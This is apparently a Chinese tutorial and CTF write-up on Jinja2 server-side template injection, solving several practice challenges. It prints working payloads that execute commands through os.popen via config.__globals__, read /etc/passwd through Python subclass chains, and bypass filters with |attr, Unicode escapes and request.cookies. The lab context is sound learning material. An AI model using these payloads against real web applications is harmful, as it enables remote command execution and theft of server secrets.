SSTI 漏洞概述
SSTI(Server-Side Template Injection,服务器端模板注入),主要发生在 Web 应用使用模板引擎动态渲染页面内容的场景中。当应用程序未对用户输入的内容进行严格过滤或转义,直接将用户可控数据嵌入到模板中进行解析渲染时,攻击者就可能通过构造恶意输入来注入模板代码,从而执行任意命令、读取敏感文件或获取服务器权限。
模板引擎的设计初衷是将页面逻辑与数据展示分离,提高开发效率。常见的模板引擎包括 Python 的 Jinja2、Django Template,PHP 的 Smarty、Twig,Java 的 FreeMarker、Velocity,Node.js 的 EJS、Handlebars 等。
SSTI 漏洞成因
SSTI 漏洞的核心成因是用户输入未经过安全处理直接嵌入模板,具体可分为以下几种情况:
- 直接拼接用户输入到模板字符串:例如在 Python 中使用
render_template_string("Hello, %s" % user_input),若user_input包含模板语法,会被引擎解析执行。 - 模板路径 / 名称可控:攻击者通过控制模板文件路径,加载恶意模板文件或系统敏感文件(如
/etc/passwd)。 - 模板变量赋值不当:将用户输入直接作为模板变量的值,且变量在模板中被以执行代码的方式调用(如
{{ user_input }}在某些引擎中可执行表达式)。
使用
输入
{{ 7*7 }},若页面返回49,说明模板引擎执行了表达式,可能存在漏洞。输入
{{ config }}(Jinja2),若返回配置信息,证明漏洞存在读取配置文件:
{{ config.items() }}(Jinja2)可获取应用配置,包括数据库账号密码等。读取系统文件:在支持文件操作的引擎中,可通过
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}(Jinja2)读取/etc/passwd。
Jinja2
1 | 控制结构 {% %} 可以声明变量,也可以执行语句 |
实战
[LitCTF 2025]星愿信箱

看有哪些函数

通过 config对象调用 os.popen执行 ls /

发现有flag,cat别屏蔽了,head /flag查看

[HNCTF 2022 WEEK2]ez_SSTI
环境:[HNCTF 2022 WEEK2]ez_SSTI | NSSCTF

参数是name,且没过滤
1 | http://node5.anna.nssctf.cn:24127/?name={{7*7}} |

ls看一下
1 | name={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}} |

获得flag
1 | name={{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}} |

[安洵杯 2020]Normal SSTI
环境:[安洵杯 2020]Normal SSTI | NSSCTF
知识点
1 | |attr(“__class__”)等于 |

发现{{}}被过滤了,但
1 | {%print()%} |
还能用,**.和[]**也被过滤了

1 | lipsum|attr("__globals__") |
Unicode 编码
1 | lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f") |

获取os

获取popen()

read输出

[HNCTF 2022 WEEK3]ssssti
环境:[HNCTF 2022 WEEK3]ssssti | NSSCTF

参数是name

发现有过滤,这些都用不了 \, ", args, os, _,"
也不能用{%%}
尝试用request.cookies,可以通过cookies传入参数。
1 | payload |
使用request.cookies构造
1 | ?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}} |
获得falg
